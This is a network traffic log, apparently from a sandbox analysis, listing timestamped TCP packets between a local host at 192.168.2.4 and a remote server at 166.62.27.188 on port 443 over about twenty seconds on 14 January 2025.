Jan 14, 2025 08:23:43.890744925 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:43.891181946 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:43.902126074 CET	49791	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:43.947335005 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:44.420281887 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:44.420577049 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:44.420675039 CET	49791	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.420732975 CET	49791	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.420752048 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:44.420762062 CET	49791	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.420768023 CET	443	49791	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:44.550546885 CET	49792	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.550594091 CET	443	49792	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:44.550795078 CET	49792	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.550983906 CET	49792	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.551034927 CET	443	49792	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:44.551140070 CET	49792	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.554320097 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.554383039 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:44.554493904 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.554828882 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:44.554843903 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:45.455751896 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:45.456082106 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:45.457487106 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:45.457520008 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:45.457777023 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:45.467956066 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:45.511357069 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:46.032721996 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:46.032911062 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:46.032995939 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.033073902 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.033116102 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:46.033142090 CET	49793	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.033157110 CET	443	49793	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:46.161695957 CET	49794	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.161741018 CET	443	49794	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:46.161842108 CET	49794	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.161935091 CET	49794	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.162022114 CET	443	49794	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:46.162081957 CET	49794	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.165050030 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.165158987 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:46.165272951 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.165663958 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:46.165698051 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.062269926 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.062352896 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.063641071 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.063664913 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.064109087 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.065257072 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.107342005 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.643745899 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.643812895 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.644001961 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.644002914 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.644002914 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.771704912 CET	49796	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.771748066 CET	443	49796	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.771888971 CET	49796	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.772007942 CET	49796	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.772088051 CET	443	49796	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.772156000 CET	49796	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.774168015 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.774211884 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.774277925 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.774568081 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.774584055 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:47.957948923 CET	49795	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:47.958023071 CET	443	49795	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:48.660135984 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:48.660247087 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:48.661504984 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:48.661518097 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:48.661782026 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:48.663044930 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:48.707334042 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:49.235804081 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:49.235934019 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:49.236094952 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.236464977 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.236464977 CET	49797	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.236485004 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:49.236494064 CET	443	49797	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:49.362901926 CET	49798	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.362945080 CET	443	49798	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:49.363015890 CET	49798	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.366044998 CET	49798	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.366089106 CET	443	49798	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:49.366148949 CET	49798	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.369587898 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.369678974 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:49.369764090 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.370174885 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:49.370196104 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.280368090 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.280524015 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.306196928 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.306246996 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.307060003 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.308211088 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.355333090 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.860691071 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.860780001 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.860894918 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.861123085 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.861172915 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.861202955 CET	49799	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.861218929 CET	443	49799	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.990380049 CET	49800	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.990417957 CET	443	49800	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.990482092 CET	49800	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.990895987 CET	49800	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.990938902 CET	443	49800	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.990995884 CET	49800	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.993644953 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.993727922 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:50.993808031 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.994112968 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:50.994148970 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:51.922641993 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:51.922766924 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:51.924195051 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:51.924211979 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:51.925014973 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:51.929543972 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:51.975332975 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:52.514935017 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:52.515361071 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:52.518362999 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.518425941 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.518425941 CET	49801	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.518456936 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:52.518472910 CET	443	49801	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:52.642491102 CET	49802	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.642549992 CET	443	49802	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:52.642662048 CET	49802	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.642760038 CET	49802	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.642843008 CET	443	49802	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:52.642918110 CET	49802	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.645490885 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.645544052 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:52.645627022 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.645932913 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:52.645950079 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:53.556298971 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:53.556381941 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:53.563149929 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:53.563163042 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:53.563987970 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:53.571188927 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:53.611375093 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:54.137942076 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:54.138108969 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:54.138175964 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.138305902 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.138328075 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:54.138386011 CET	49803	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.138391018 CET	443	49803	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:54.253580093 CET	49804	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.253675938 CET	443	49804	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:54.253777027 CET	49804	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.253920078 CET	49804	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.253981113 CET	443	49804	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:54.256314039 CET	49804	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.256638050 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.256752968 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:54.256855965 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.257353067 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:54.257394075 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.165811062 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.165927887 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.167299032 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.167346001 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.168175936 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.169378996 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.211330891 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.748346090 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.748502016 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.748714924 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.748714924 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.748714924 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.860692978 CET	49807	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.860800028 CET	443	49807	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.860956907 CET	49807	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.861063004 CET	49807	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.861159086 CET	443	49807	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.861227989 CET	49807	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.863238096 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.863292933 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:55.863384962 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.863641977 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:55.863665104 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:56.057449102 CET	49805	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:56.057524920 CET	443	49805	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:56.747278929 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:56.747415066 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:56.749484062 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:56.749496937 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:56.749942064 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:56.751718998 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:56.795337915 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:57.325288057 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:57.325371981 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:57.325551033 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.325781107 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.325807095 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:57.325825930 CET	49808	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.325833082 CET	443	49808	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:57.440156937 CET	49810	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.440215111 CET	443	49810	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:57.440321922 CET	49810	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.440444946 CET	49810	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.440543890 CET	443	49810	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:57.440613031 CET	49810	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.457178116 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.457231998 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:57.457308054 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.457657099 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:57.457673073 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:58.377433062 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:58.377558947 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:58.379887104 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:58.379899979 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:58.380673885 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:58.382380009 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:58.423338890 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:58.970488071 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:58.971000910 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:58.971118927 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:58.971184015 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:58.971194983 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:58.971221924 CET	49811	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:58.971225977 CET	443	49811	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:59.088759899 CET	49817	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:59.088793039 CET	443	49817	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:59.088896036 CET	49817	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:59.089000940 CET	49817	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:59.089080095 CET	443	49817	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:59.089149952 CET	49817	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:59.091542959 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:59.091662884 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:23:59.091753006 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:59.092160940 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:23:59.092202902 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.013529062 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.013653994 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.015383959 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.015414953 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.015866041 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.017261982 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.059336901 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.616507053 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.616877079 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.617070913 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.620767117 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.620826960 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.620858908 CET	49818	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.620874882 CET	443	49818	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.731574059 CET	49829	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.731641054 CET	443	49829	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.731740952 CET	49829	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.733840942 CET	49829	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.733952999 CET	443	49829	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.734035015 CET	49829	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.736700058 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.736792088 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:00.736907959 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.737222910 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:00.737257957 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:01.666671991 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:01.666960955 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:01.668418884 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:01.668451071 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:01.668700933 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:01.670324087 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:01.711325884 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:02.367337942 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:02.367405891 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:02.367501974 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.367690086 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.367706060 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:02.367739916 CET	49830	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.367744923 CET	443	49830	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:02.486895084 CET	49845	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.486932039 CET	443	49845	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:02.487035990 CET	49845	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.489504099 CET	49845	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.489572048 CET	443	49845	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:02.489634037 CET	49845	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.495235920 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.495279074 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:02.495372057 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.495927095 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:02.495938063 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:03.453952074 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:03.454204082 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:03.455594063 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:03.455605984 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:03.455933094 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:03.457406998 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:03.503330946 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:04.047739029 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:04.048324108 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:04.048396111 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.048635960 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.048640013 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:04.048675060 CET	49846	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.048679113 CET	443	49846	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:04.165222883 CET	49858	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.165271044 CET	443	49858	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:04.165334940 CET	49858	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.165461063 CET	49858	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.165549994 CET	443	49858	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:04.165613890 CET	49858	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.167871952 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.167903900 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:04.167979956 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.168301105 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:04.168317080 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.066859961 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.066971064 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.085079908 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.085098028 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.085319996 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.100888968 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.147330999 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.656646967 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.657022953 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.657166004 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.657382965 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.657402039 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.657412052 CET	49859	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.657417059 CET	443	49859	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.771975040 CET	49870	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.772025108 CET	443	49870	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:05.772102118 CET	49870	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:05.772234917 CET	49870	443	192.168.2.4	166.62.27.188
